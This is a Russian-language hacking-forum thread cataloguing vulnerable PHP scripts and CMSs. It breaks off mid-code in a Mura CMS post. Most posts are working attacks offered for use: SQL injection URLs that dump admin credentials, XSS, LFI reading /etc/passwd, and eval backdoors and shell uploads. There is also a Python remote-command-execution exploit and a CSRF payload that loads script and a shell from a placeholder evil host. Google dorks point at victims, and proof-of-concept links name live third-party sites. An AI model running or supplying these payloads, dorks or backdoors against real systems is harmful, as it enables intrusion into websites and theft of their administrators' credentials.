Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Advanced Poll version <= 2.0.4 (проверил на 2.0.3, 2.0.2, 2.0.4, на остальных не проверял, это подарок на новый год ;) )

    Эксплуатация:
    Code:
    http;//site.ltd/poll/demo_3.php?poll_id=1+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+f
    Результат:
    Code:
    Error Number: 1062 Duplicate entry '[COLOR=Magenta]5.0.77[/COLOR]:1' for key 'group_key'
    В файл demo_3.php инклудится уязвимый скрипт class_poll.php
    PHP:
        function is_valid_poll_id($poll_id) {
            if (
    $poll_id>0) {
                
    $this->db->fetch_array($this->db->query("SELECT poll_id FROM ".$this->tbl['poll_index']." WHERE poll_id=$poll_id AND status<'2'"));
                return (
    $this->db->record['poll_id']) ? true false;
            } else {
                return 
    false;
            }
        }
    Dork: inurl:"popup.php?action=results"
    Результатов: примерно 204 000 (0,23 сек.) Развлекатейсь :)

    PoC:
    Code:
    http://www.bookmine.com/poll/demo_3.php?poll_id=11+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+f
    © Ereee​
     
    #481 Ereee, 31 Dec 2011
    Last edited: 31 Dec 2011
    4 people like this.
  2. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    MDS-JOB version <= 1.4.1

    Dork: inurl:"vacancy.php?id=1"

    Эксплуатация:
    Code:
    http://site.ltd/vacancy.php?id=-1'+union+select+1,2,concat(login_admin,0x3a,pass_admin)+from+job_admin--+f
    Результат:
    Code:
    RnJvbnQ3Nzc=:0b70a123d1acb7edc7ab56ea86b91525
    Где RnJvbnQ3Nzc= это логин админа в base64, а пароль в md5:
    PHP:
    $new_pass_user md5($new_pass);
    Уязвимый код:
    PHP:
    if (isset($_GET['id']))
    {
    $id ClearDataFromForm($_GET['id']);
    $query_r "SELECT name_razdel FROM $razdel_t WHERE id_razdel = '$id'";
    $result_r mysql_query($query_r);
    $line_r mysql_fetch_assoc($result_r);
    $name_razdel $line_r['name_razdel'];

    PoC:
    Code:
    http://www.vip-kurkino.ru/Job/vacancy.php?id=-1'+union+select+1,2,concat(login_admin,0x3a,pass_admin)+from+job_admin--+f
    © Ereee​
     
  3. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    FC4 - Счетчик посетителей вебсайта
    Офф сайт: http://linesoft.org/
    Описание: SQL inj
    Зависимости: mg=off и rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет)
    Файл: /admin/index.php
    Уязвимый код:
    PHP:
     if ($cmd=="Counter")
     {
       echo 
    "<h2>{$AllCommands[$cmd]}</h2>";
       
    $cmd="Counter.Change";

       
    $query "SELECT * FROM fc4 WHERE Name=\"$Name\"";
       
    $result mysql_query($query
          or print(
    "Ошибка при MySQL запросе: ".mysql_error()); 
    Авторизации никакой не требуется, там еще есть инъекции в insert,update,delete, эта самая простая :)
    Exploit
    Code:
    http://127.0.0.1/fc4-0.34/admin/index.php?cmd=Counter&Name=tdsadas"+and+5=4+union+select+1,2,3,4,5,6,7,version()--+
    
    Описание: пассивная xss
    Зависимости: rg = on
    Файл: admin/counter_form.php
    Уязвимый код:
    PHP:
    <form action="index.php" method="POST">
    <input name="cmd" type="hidden" value="<?php echo $cmd ?>">
    из за того что register_globals = on и переменные в скрипте не определены по умолчанию, мы можем поменять их содержание
    Exploit
    Code:
    http://127.0.0.1/fc4-0.34/admin/counter_form.php?cmd="><script>alert(/xss/)</script>
    
    ============================
    LS GuestBook v1.0
    Офф сайт: http://linesoft.org/
    Описание: пассивная xss
    Зависимости: rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет)
    Файл: /guestbook.php
    Уязвимый код:
    PHP:
    Пароль:<BR>
    <
    input type=password name=a_try_pwd value=""><BR>
    <
    input type=hidden name=go value="try_enter">
    <
    input type=hidden name=new_pwd value='.$new_pwd.'>
    $new_pwd обьявляеться в скрипте только если файла pwd.dat нет, а его нет только при 1 заходе
    и установки пароля администратора
    Exploit
    Code:
    http://www.bes-chagda.ru/ls_guestbook/guestbook.php?go=auth&new_pwd=1><script>alert(/xss/)</script>
    
    пароль администратора есть в куках, зашифрован в md5
    =====================
    LS Logs 1.22
    Офф сайт: http://linesoft.org/
    Описание: пассивная xss
    Зависимости: rg=on (rg скорей всего будет включен, т.к. если нет то скрипт работать не будет)
    Файл: /logsa.php
    Уязвимый код:
    PHP:
     </select><br>
     [
    Фильтрстрока в url: <input type=\"text\" name=\"filter_string\" value=\"$filter_string\" size=10>
     </td><td valign=bottom>
    Exploit
    Code:
    http://127.0.0.1/LSLogs/example/logsa.php?filter_string="><script>alert(/xss/)</script>
    
     
    4 people like this.
  4. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Заливка шелла в MODx

    Заливка шелла в MODx(тестил на 1.0.5)

    1-вариант. Через модуль Doc Manager(можно любой другой или создать свой, юзал Opera):
    1) Админка(http://site/manager/) => Сайт => Модули => Doc Manager => В поле "Код модуля(php)" вставляем:
    PHP:
    if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));
    Сохраняем.
    2) Идем:
    Админка => Модули => Doc manager(жмите на него колесиком[mouse3])
    Открывается новое окно "Менеджер ресурсов". Скопируте адресную строку(http://site/manager/index.php?a=112&id=1).
    Жмем Ctrl+U, в самый верх пишем:
    Code:
    <a href="http://site/manager/index.php?a=112&id=1[COLOR=Magenta]&e=phpinfo();[/COLOR]"><h1>ЖМИ</h1></a>
    Применяем изменения. Видим огромную ссылку "ЖМИ", жмем и видим phpinfo();. Если не менять исходник, ругается двиг, типа Anti-CSRF.

    2-вариант. Банально:
    1) Идем:
    Админка > Инструменты => Конфигурация => Файл-менеджер
    В поле "Разрешенные к загрузке файлы" через запятую добавляем php.
    2) Идем:
    Админка => Элементы => Управление файлами => Внизу "Обзор" => Льем шелл в любую папку.

    3-вариант. Редактируем прямо из админки php-файлы(если права есть):
    1) Идем:
    Админка => Элементы => Управление файлами
    Видим файлы, рядом с доступной для записи файлов есть зеленая галка, жмем. Появится поле, вставляем код, жмем "Сохранить".
    Шелл доступен по адресу http://site.ltd/redaktirovanyi_file.php

    ---
    Раскрытие пути(тестил на 1.0.5)
    Code:
    http://site/assets/cache/siteCache.idx.php
    http://site/assets/plugins/managermanager/example.mm_rules.inc.php
    http://site/assets/plugins/managermanager/default.mm_rules.inc.php
    http://site/assets/plugins/managermanager/mm.inc.php
    etc.
    
     
    #484 Ereee, 6 Jan 2012
    Last edited: 6 Jan 2012
    2 people like this.
  5. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78

    ArmageddoN DDoS Bots 2.0


    SQL Инъекция & Выполнение кода

    NEED: magic_quotes_gpc = Off, admin_rights
    Уязвимый участок кода:
    index.php

    PHP:
    <?php
    [...]function addcommand($command)
    {
        
    mysql_query("UPDATE bots SET command='".$command."' WHERE id!=0");
        
    $fh fopen("command.php""w"); 
        
    $data="<? if (strpos($_SERVER['PHP_SELF'],\"command.php\")!=0){include \"404.php\";} $com='".$command."';?>";
        
    fwrite($fh$data); 
        
    fclose($fh);
    }
    [...]    if(isset(
    $_GET['url']) && $_GET['url']!=''){
            
    $url=$_GET['url'];
            
    $text str_replace("n","",$url);
            
    addcommand($url); }
    [...]
    PoC:
    Добавляем новую команду с текстом:
    Code:
    '; @eval($_REQUEST['cmd']); $a='lol
    Exec: /command.php?cmd=phpinfo();

    Чтение содержимого файлов (config.php+)
    NEED:admin_rights
    editheaders.php
    Уязвимый участок кода:
    PHP:
    <?php
    [...]If ($_GET['filename']!="Select file...")
    {
    $list=file_get_contents("data/".$_GET['filename'].".dat");
    }
    [...]echo 
    $list;
    PoC:
    Code:
    ?filename=../config.php%00 (при условии magic_quotes_gpc = Off)
    ?filename=../config.php////[4096 слешей]//// 
    Выполнение кода [2]
    NEED: admin_rights
    editheaders.php
    Уязвимый участок кода:
    PHP:
    <?php
    [...]if ($_GET['com']=="Save")
    {
    if (
    $_GET['filename']!="Select file...")
    {
    $fh=fopen("data/".$_GET['filename'].".dat""w");
    fwrite($fh$_GET['data']);
    fclose($fh);
    }
    [...]


    PoC:

    Code:
    ?com=Save&data=<?php @eval($_REQUEST[cmd]); ?>&filename=shell.php%00 (при условии magic_quotes_gpc = Off)
    ?com=Save&data=<?php @eval($_REQUEST[cmd]); ?>&filename=shell.php////[4096 слешей]//// 



    Раскрытие путей
    Почти в каждом файле(login.php+)
    Уязвимый участок кода:

    Code:
    session_start();
    PoC:
    Code:
    Cookie: PHPSESSID=!@#$%^&*()_+;


    ©0x0000ED.COM, Boolean​
     
    4 people like this.
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    TopForm CMS
    офф. сайт

    error-based sql
    уязвимый параметр issue_id
    Code:
    issue_id=7'+and+(select+1+from(select+count(*),concat((select+concat(login,0x3a,password)+from+users+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)+--+
    так же уязвимы параметры id и cat

    в админке:
    /admin.php
    sql в post-запросе логина

    уязвимый параметр parent
    Code:
    admin.php?a=issues&parent=11+and+(select+1+from(select+count(*),concat((select+concat(login,0x3a,password)+from+users+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)+--+&action=new
    так же issue_id, class


    PoC:
    Code:
    http://bzhi.ru/?issue_id=7&cat=2'+and+(select+1+from(select+count(*),concat((select+concat(login,0x3a,password)+from+users+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)+--+
    dork:
    Code:
    inurl:"index.php?issue_id="
    © faza02
     
    _________________________
    #486 yarbabin, 17 Feb 2012
    Last edited: 17 Feb 2012
    1 person likes this.
  7. Boobby

    Boobby Member

    Joined:
    10 Aug 2011
    Messages:
    0
    Likes Received:
    20
    Reputations:
    5
    memento cms 2

    memento cms 2
    PHP:
    index.php?issue_id=sql inj
    админка: admin.php
    пароли не хэшированны

    хотя возможно это и есть то что в предидущем посте
     
    1 person likes this.
  8. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Обзор уязвимостей админ панели Dirt Jumper 5

    SQL Inj [INSERT]
    /index.php:
    PHP:
    [...]
    $ip=$_POST['k'];
    [...]
    mysql_query(" INSERT INTO `td` (`ip`,`ip2`,`time`)VALUES('$ip','$ip2','$time')");
    [...]
    Из инъекции особо ничего не вытянуть, но «обесточить» сервер можно, воспользовавшись тем же BENCHMARK'ом.

    Если честно, непонятно, что курили разработчики, но команды хранятся в файле img.gif и для показа ботам файл инклудится.
    /index.php:
    PHP:
    [...]
    include 
    "img.gif";
    [...]
    Code Execution
    Нужны права админа.
    1. Добавляем новую команду:
    Code:
    <?php @eval($_POST[cmd]); ?>
    * Никакой фильтрации нет вообще.
    2. POST index.php:
    Code:
    k=1&cmd=phpinfo()
    Если знаете параметр $GET_login, который прописывается в конфиге(по дефолту dj5) можно провернуть CSRF результатом которого будет выполнение php кода и xss.
    Code:
    <body onload='document.csrf.submit()'>
    <form method="POST" name="csrf" action="http://localhost/admin/admin.php?login=dj5&info=1" class="form">
    <input type="hidden" name="url" value="url=google.de</textarea><script src='http://EVILHOST.COM/EVIL.JS'></SCRIPT><?php @eval($_GET[s]); ?>" />
    <input type="hidden" name="flows" value="25" />
    <input type="hidden" name="mode" value="4" />
    <input type="hidden" name="save" value="Save" />
    </form>
    </body>
    
    Где http://EVILHOST.COM/EVIL.JS ссылка на ваш зловредный js код.
    * Можно еще сразу же средствами js отправить POST запрос на /index.php, и выполнить код, например
    Code:
    copy("http://evilhost.com/shell.txt", "shell.php"); file_put_contents("img.gif", "");
    Тогда шелл автоматически зальется(если прав хватит), а img.gif очистится.
     
    2 people like this.
  9. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Уязвимый скрипт: public.php

    Уязвимая функция:
    display_fns.php

    exploit:
    http://bionat.ru/public.php?id_n=-24+union+select+concat_ws(0x3a,user_name,password),2,3+from+user
    http://bogan.ru/service.php?id_s=27999+union+select+concat_ws(0x3a,user_name,password),2,3+from+user
    http://kalmatron-s.ru/public.php?id_n=-24+union+select+1,concat_ws(0x3a,user_name,password),3+from+user


    google:
    intext:"Copyright © 2002 - 2012, Интернет-агентство «Боган»"

    profit:
    Для устранения уязвимости достаточно добавить функцию intval();
    code:
     
    _________________________
    1 person likes this.
  10. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    phpComasy 1.0.1

    index.php

    PHP:
         
        <?php
         
        
    /* check if phpComasy is installed */
        
    if (!file_exists("config.php")) { header('Location: install.php'); exit(); }
         
        
    /* Includes */
        
    require_once("config.php");
        require_once(
    "classes/class.web.php");
        
    classes/class.web.php

    PHP:
    <?php
        
    /* Includes */
        
    require_once("config.php");
        require_once(
    "classes/class.settings.php");
        require_once(
    "classes/class.mysql.php");
        require_once(
    "classes/class.security.php");
        require_once(
    "classes/class.tools.php");
        require_once(
    "classes/class.page.php");
        require_once(
    "classes/class.module.php");
        require_once(
    "classes/class.management.php");
        require_once(
    "classes/class.user_management.php");
        require_once(
    "classes/class.module_management.php");
        require_once(
    "classes/class.manage_language_files.php");
        require_once(
    "classes/class.file_manager.php");
        require_once(
    "classes/class.action.php");
        require_once(
    "classes/class.message.php");
        require_once(
    "classes/class.language.php");
        require_once(
    "classes/class.formular.php");
        require_once(
    "classes/class.page_comment.php");
         
        require_once(
    "classes/class.search.php");
    classes/class.search.php

    PHP:
    <?php
        
    class search {
                var 
    $data// data from POST and GET
                
    var $web// object of the previous class (web)
               
                // constructor
                
    function search(&$data, &$web) {
                        
    $this->data $data;
                        
    $this->web = &$web;
                }
               
               
                function 
    get_search_form() {
                        
    $return '<form method="post" action="?action=search_result">';
                        
    $return .= '<input id="portlet-search-input" type="text" maxlength="50" size="10" name="searchtext" /> ';
                        
    $return .= '<input id="portlet-search-button" type="submit" value="'._SEARCH.'" />';
                        
    $return .= '</form>';
                        return 
    $return;
                }
               
               
                function 
    form_search() {
                        
    $this->web->title _SEARCH;
         
                        
    $this->web->introduction '';
                        
    $this->web->content  '<div class="search">';
                       
                        
    $return '<form method="post" action="?action=search_result">';
                        
    $return .= '<p><label for="search-input">'._SEARCH_STRING.'</label>
                                                        <input id="search-input" type="text" maxlength="50" size="30" name="searchtext" /></p>'
    ;
                        
    $return .= '<p><input id="search-button" type="submit" value="'._SEARCH.'" /></p>';
                        
    $return .= '</form>';
                       
                        
    $this->web->content .= $return;
                        
    $this->web->content .= '</div>';
                }
               
                function 
    search_result() {
                        
    $this->web->title _SEARCH;
                       
                        
    $this->web->introduction '';
                        
    $this->web->content  '<div class="search">';
                       
                        
    // Security check
                        
    $searchtext str_replace(array("%""&"";""?""/""\\"), ""$this->data['searchtext']);
                        
    $searchtext_umlaut $this->web->tools->umlaut($searchtext);
                       
                        if (
    strlen($searchtext) >= 3) {
                               
                                
    $search_query $this->web->db->query("SELECT * FROM `#__page_language` WHERE language='".$this->web->language->get_current_language()."'     AND (LOWER(title) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(introduction) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(content) LIKE '%".strtolower(trim($searchtext))."%' OR LOWER(title) LIKE '%".strtolower(trim($searchtext_umlaut))."%' OR LOWER(introduction) LIKE '%".strtolower(trim($searchtext_umlaut))."%' OR LOWER(content) LIKE '%".strtolower(trim($searchtext_umlaut))."%');");
        
    example:
    Code:
        http://www.ssk66.de/?action=search_result
         
        POST: searchtext=sad') or (select count(*)from information_schema.tables group by concat((version()),floor(rand(0)*2)))or('
        
    shell upload:

    classes/class.file_manager.php
    PHP:
        function file_upload() {
                        if (
    $this->web->security->check_security() == || $this->web->security->check_access_for_area('filemanager')) {
                                if (
    $_FILES['file']['tmp_name']) {
                                        
    $extention strtolower(strrchr($_FILES['file']['name'], '.'));
                                        
    chmod ($_FILES['file']['tmp_name'],0644);  //chmod fixchmod ($_FILES['file']['tmp_name'],0644);  //chmod fix
                                       
                                        
    $new_filename str_replace(" ""_"$this->web->tools->special_chars_to_html($this->path.$_FILES['file']['name'], falsetrue));
                                        
    $new_filename_without_path str_replace(" ""_"$this->web->tools->special_chars_to_html($_FILES['file']['name'], falsetrue));
                                       
                                        
    move_uploaded_file($_FILES['file']['tmp_name'], __ABSOLUTE_PATH.'/data/'.$new_filename);
                                       
                                        if ((
    $extention == ".png") || ($extention == ".gif") || ($extention == ".jpg") || ($extention == ".jpeg")) {
                                                
    $this->web->message->send_message(_MESSAGE_FILE_UPLOAD_SUCCESSFUL''0'&action=image_convert_form&path='.$this->path.'&file='.$new_filename_without_path);
                                        }
                                        else {
                                                
    $this->web->message->send_message(_MESSAGE_FILE_UPLOAD_SUCCESSFUL''0'&action=file_manager&path='.$this->path);
                                        }
                                }
                                else {
                                        
    $this->web->message->send_message(_MESSAGE_REQUIRED_PARAMETER''0'&action=file_upload_form&path='.$this->path);
                                }
                        }
                        else {
    $this->web->message->send_message(_MESSAGE_NO_PERMISSION);}
                }
        
    classes/class.security.php
    PHP:
        function check_security() {
                        if ((!empty(
    $_SESSION['user_id']) ) && (!empty($_SESSION['user_username'])) && (@$_SESSION['user_role'] == 'admin')) {
                                
    // additional check (phpcomasy url)
                                
    if ($_SESSION['user_url'] == __WEB_PATH) {
                                        return 
    1;
                                }
                                else {
                                        return 
    0;
                                }
                        }
                        else {
                                return 
    0;
                        }
                }
        
    Shell: http://site.com/data/shell.php
    Dork: powered by phpComasy
     
    #490 .Varius, 4 Jun 2012
    Last edited: 4 Jun 2012
    3 people like this.
  11. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    AdaptCMS

    Уязвимости AdaptCMS 2.0.x

    Сайт разработчика
    Скачать

    SQL injection
    Зависимости: magic_quotes_gpc = off

    File: /inc/function.php
    PHP:
    ...
    if (
    $id) {
        
    $poll_sql mysql_query("SELECT * FROM ".$pre."polls WHERE poll_id = '".$id."' AND type = 'poll'");
    }
    ...
    Exploit:
    http://127.0.0.1/cms/index.php?view=polls&id=1' and 1=0 union select 1,2,version(),4,5,6,7,8 --

    LFI
    Зависимости: magic_quotes_gpc = off

    File: /inc/web/plugins.php
    PHP:
    ...
    $plugin mysql_fetch_row(mysql_query("SELECT url,status FROM ".$pre."plugins WHERE name = '".strtolower(str_replace("_"" "$_GET['plugin']))."'"));
    if (
    $plugin[1] == "Off") {
    echo 
    "Sorry, but the <b>".ucwords($_GET['plugin'])."</b> Plugin is offline";
    } else {
    $module $_GET['module'];
    include (
    $sitepath."plugins/".$plugin[0]);
    ...
    Данные из запроса попадают в функцию include

    Exploit:
    http://127.0.0.1/cms/index.php?view=plugins&plugin=a' union select '/../../../../../etc/passwd',null --

    Blind SQL injection
    Зависимости: нет
    File: /config.php
    PHP:
    ...
    if (
    $_SERVER['HTTP_REFERER'] && stristr($_SERVER['HTTP_REFERER'], "admin.php") === FALSE) {
        if (
    mysql_num_rows(mysql_query("SELECT * FROM ".$pre."stats_archive WHERE name = 'referer' AND data = '".$_SERVER['HTTP_REFERER']."' AND week = '".date("W")."' AND year = '".date("Y")."'")) == 0) {
            
    mysql_query("INSERT INTO ".$pre."stats_archive VALUES (null, 'referer', '".$_SERVER['HTTP_REFERER']."', '".date("W")."', '".date("n")."', '".date("Y")."', 1, 1, '".time()."')");
        } else {
            
    mysql_query("UPDATE ".$pre."stats_archive SET views=views+1, date = '".time()."' WHERE name = 'referer' AND data = '".$_SERVER['HTTP_REFERER']."'");
        }
        ...
    }
    ...
    Не фильтруется $_SERVER['HTTP_REFERER']. Можно крутить как слепую, если условие верно - ошибки нет.

    Exploit:
    Code:
    GET /cms/index.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
    Referer: 1' and if(mid((select version()),1,1)=5,1,(select 1 union select 2)) -- d
    
    Code execution
    Зависимости: не удален файл install.php
    Exploit:
    Заходим на install.php и в качестве префикса таблицы указываем
    Code:
    aaa_'; if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); //
    Получаем бекдор:
    http://127.0.0.1/cms/inc/dbinfo.php?e=phpinfo();
     
    #491 daniel_1024, 20 Jun 2012
    Last edited: 20 Jun 2012
    3 people like this.
  12. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    Уязвимости Nuked-Klan

    Nuked-Klan SP 4.5
    Скачать
    На баг-треках я нашел один актуальный баг. Но есть ещё. :)
    В движке используется ereg.

    Remote code execution
    Зависимости: magic_qoutes_gpc = off
    File: /globals.php
    PHP:
    ...
    extract($_POSTEXTR_SKIP);
    extract($_GETEXTR_SKIP); 
    ...
    $bad_string = array("%20union%20""/*""*/union/*""+union+""load_file""outfile""document.cookie""onmouse""<script""<iframe""<applet""<meta""<style""<form""<img""<body""<link");
    ...
    Далее addshashes применяется к массивам $_GET, $_POST и $_COOKIE.

    File: /nkSession.php
    PHP:
    ...
    if (isset(
    $_COOKIE[$cookie_theme]) && $_COOKIE[$cookie_theme] != ""$user_theme $_COOKIE[$cookie_theme];
    if (isset(
    $_COOKIE[$cookie_langue]) && $_COOKIE[$cookie_langue] != ""$user_langue $_COOKIE[$cookie_langue];
    ...
    Если кук нет, то переменная $user_langue будет неопределена, и мы сможем присвоить ей нужное значение сами в обход addslashes.

    File: /nuked.php
    PHP:
    ...
    if (
    $user_langue != "" && is_file("lang/" $user_langue ".lang.php"))
    {
        
    $language $user_langue;

    ...
    Идет проверка на is_file.

    File: /ban.php
    PHP:
    ...
    translate("lang/" $language ".lang.php");
    ...
    Вызывается функция translate.

    File: /nuked.php
    PHP:
    function translate($file_lang)
    {
        global 
    $nuked;
        
    ob_start();
        print eval(
    " include ('$file_lang'); ");
        
    $lang_define ob_get_contents();
        ...
        
    ob_end_clean();
        return 
    $lang_define;
    Переменная попадает в eval. Но из-за буфферизации вывода придется писать результат выполнения команд в файл.
    PoC:
    http://127.0.0.1/nk/ban.php?user_langue=english.lang.php%00'); echo 123; //

    Exploit:
    Code:
    #!/usr/bin/python
    import urllib
    url = 'http://127.0.0.1/nk/'
    log = 'upload/Forum/output.txt'
    
    def execute(cmd):
    	s = "english.lang.php"+chr(0)+"'); file_put_contents(\"./"+log+"\", `"+cmd+"`); //"
    	try:
    		page = urllib.urlopen(url+'ban.php?user_langue='+urllib.quote_plus(s)).read()
    		page = urllib.urlopen(url+log).read()
    		return page
    	except:
    		return ''
    
    print execute('ls -lia')
    SQL injection
    Зависимости: magic_quotes_gpc = off
    File: /modules/Members/index.php
    PHP:
    ...
    if (
    $letter == "Autres")
    {
        
    $and "AND pseudo NOT REGEXP '^[a-zA-Z].'";

    else if (
    $letter != "" && ereg("^[A-Z]+$"$letter))
    {
        
    $and "AND pseudo LIKE '" $letter "%'";

    ...
    $sql mysql_query("SELECT pseudo, url, email, icq, msn, aim, yim, rang, country FROM " USER_TABLE " WHERE niveau > 0 " $and " ORDER BY pseudo LIMIT " $start ", " $nb_membres);
    ...
    Используем null-byte для обхода регулярки.
    PoC:
    http://127.0.0.1/nk/index.php?file=Members&letter=XX%00'+and+1=0+%0aunion+select+version(),2,3,4,5,6,7,8,9+--+d


    SQL injection
    Зависимости: magic_quotes_gpc = off, надо быть зарегистрированным пользователем.
    File: /modules/Userbox/index.php
    PHP:
    ...
    function 
    post_message()
    {
        global 
    $for$message$titre$user;
            
        if (
    $for != "" && ereg("^[a-zA-Z0-9]+$"$for))
        {        
            
    $sql mysql_query("SELECT pseudo FROM " USER_TABLE " WHERE id = '" $for "'");
            list(
    $pseudo) = mysql_fetch_array($sql);
        }
        ...
        if (
    $message != "")
        {
            
    $message stripslashes($message);
            
    $reply "[quote=" $pseudo "]" .  htmlentities($message) . "[/quote]";
        }
        ... 
    }
    PoC:
    http://127.0.0.1/nk/index.php?file=Userbox&op=post_message&message=a&for=a%00'%0aunion+select+version()+--+


    Заливка шелла
    Нужны права администратора
    Заходим на http://127.0.0.1/nk/index.php?file=Page&page=admin
    Создаем новую php-страницу, в контенте вводим eval(stripslashes($_REQUEST['x'])); или загружаем файл.
     
    3 people like this.
  13. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    Elemata CMS​

    Сайт разработчика
    Скачать

    SQL-injection
    Зависимости: magic_quotes_qpc = off
    File: /functions/global.php
    PHP:
    ...
    function 
    e_meta($id)
    {
        ...
        
    $query_meta "SELECT * FROM posts WHERE id = '$id'";
        
    $meta mysql_query($query_meta$default) or die(mysql_error());
        
    $row_meta mysql_fetch_assoc($meta);
        echo 
    '
        <meta name="description" content="'
    .$row_meta['meta_desc'].'" />
        <meta name="author" content="'
    .$row_meta['author'].'" />
        <meta name="keywords" content="'
    .$row_meta['meta_keywords'].'" />
        <meta name="copyright" content="'
    .$row_meta['meta_copyright'].'" />
        '
    ;
        ...
    }
    PoC:
    http://127.0.0.1/e/index.php?id=1'+and+1=0+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+users+--+

    Пассивная XSS
    File: /themes/revive/search.php
    PHP:
    ...
    <p>You searched for &quot;<i><?PHP echo $_REQUEST['s']; ?></i>&quot;  </p>
    ...
    PoC:
    http://127.0.0.1/e/index.php?s=<script>alert('lol');</script>

    Заливка шелла
    Зависимости: права администратора
    В админ-панеле в разделе Media.

    LFI
    Зависимости: magic_quotes_qpc = off, и права администратора
    File: /admin/content/themes.php
    PHP:
    ...
    if(
    $_REQUEST['cmd'] == activate)
    {
        
    //UPDATE THEME SETTINGS
        
    $a_folder $_REQUEST['folder'];
        
    mysql_select_db($database_default$default);
        
    mysql_query("UPDATE settings SET theme = '$a_folder'");
    }
    ...
    File: /index.php
    PHP:
    ...
    //Include Theme
    mysql_select_db($database_default$default);
    $theme mysql_query("SELECT * FROM settings");
    $row_theme mysql_fetch_assoc($theme);

    include (
    "themes/".$row_theme['theme']."/index.php");
    ...
    PoC:
    http://127.0.0.1/e/admin/index.php?action=themes&cmd=activate&folder=../../../../../../../etc/passwd%00
    Заходим на главную страницу и файл инклюдится. Меняем тему обратно на стандартную:
    http://127.0.0.1/e/admin/index.php?action=themes&cmd=activate&folder=revive


    uCMS v 1.2

    Сайт разработчика
    Скачать

    SQL injection
    Зависимости: magic_quotes_gpc = off
    File: /content.php
    PHP:
    ...
    $current_page mysql_query("SELECT * FROM ".$db_prefix."pages WHERE id = '$_GET[id_page]' Limit 1");
    $r_current_page mysql_fetch_array($current_page);
    $current_version_page mysql_query("SELECT * FROM ".$db_prefix."pages_lg WHERE id_page = '$r_current_page[id]' AND id_lg = '$r_current_language[id]' Limit 1");
    $r_current_version_page mysql_fetch_array($current_version_page);
    ...
    if(
    settings_site_name_display == 1)
    {
        include(
    'modules/sitename/sitename.php');
        if(
    settings_site_name_position == 1$page_title $mod_sitename_site_name.($r_current_version_page['title'] ? ' - ' '').$r_current_version_page['title'];
        elseif(
    settings_site_name_position == 2$page_title $r_current_version_page['title'].($r_current_version_page['title'] ? ' - ' '').$mod_sitename_site_name;
    }
    else 
        
    $page_title $r_current_version_page['title'];
    ...
    Данные из первого запроса попадают во второй. Далее выводится переменная $page_title. PoC:

    Code:
    -1' union select 1,2,3,4,version(),6,7,8,9,10,11,12 -- d ==> 
    0x2D312720756E696F6E2073656C65637420312C322C332C342C76657273696F6E28292C362C372C382C392C31302C31312C3132202D2D2064
    
    http://127.0.0.1/cms/index.php?id_page=-1'+union+select+0x2D312720756E696F6E2073656C65637420312C322C332C342C76657273696F6E28292C362C372C382C392C31302C31312C3132202D2D2064,2,3,4,5,6,7,8+--+
     
    1 person likes this.
  14. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    Mura CMS 6 (build 5310)
    website: http://www.getmura.com/

    Active XSS

    суть в том что в админской панели выводятся логи посетителей, в том числе и user-agent, который не фильтруется

    открываем любую страницу сайта,при этом меняем user-agent на js снифф, и при открытии логовой страницы в панели админа куки бегут к нам.

    немного кода


    Code:
    /Mura/requirements/mura/user/sessionTracking/sessionTrackingDAO.cfc
    PHP:

            
    <cfquery datasource="#variables.datasource#" username="#variables.dbUsername#" password="#variables.dbPassword#">
                
    INSERT INTO tsessiontracking (REMOTE_ADDR,SCRIPT_NAME,QUERY_STRING,SERVER_NAME,URLToken,UserID,siteID,
                    
    country,lang,localecontentIDreferer,keywords,user_agent,Entered,originalURLToken)
                
    values (
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#arguments.REMOTE_ADDR#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#left(arguments.SCRIPT_NAME,200)#" />,
                    <
    cfqueryparam  cfsqltype="cf_sql_varchar" value="#arguments.QUERY_STRING#" />,
                    <
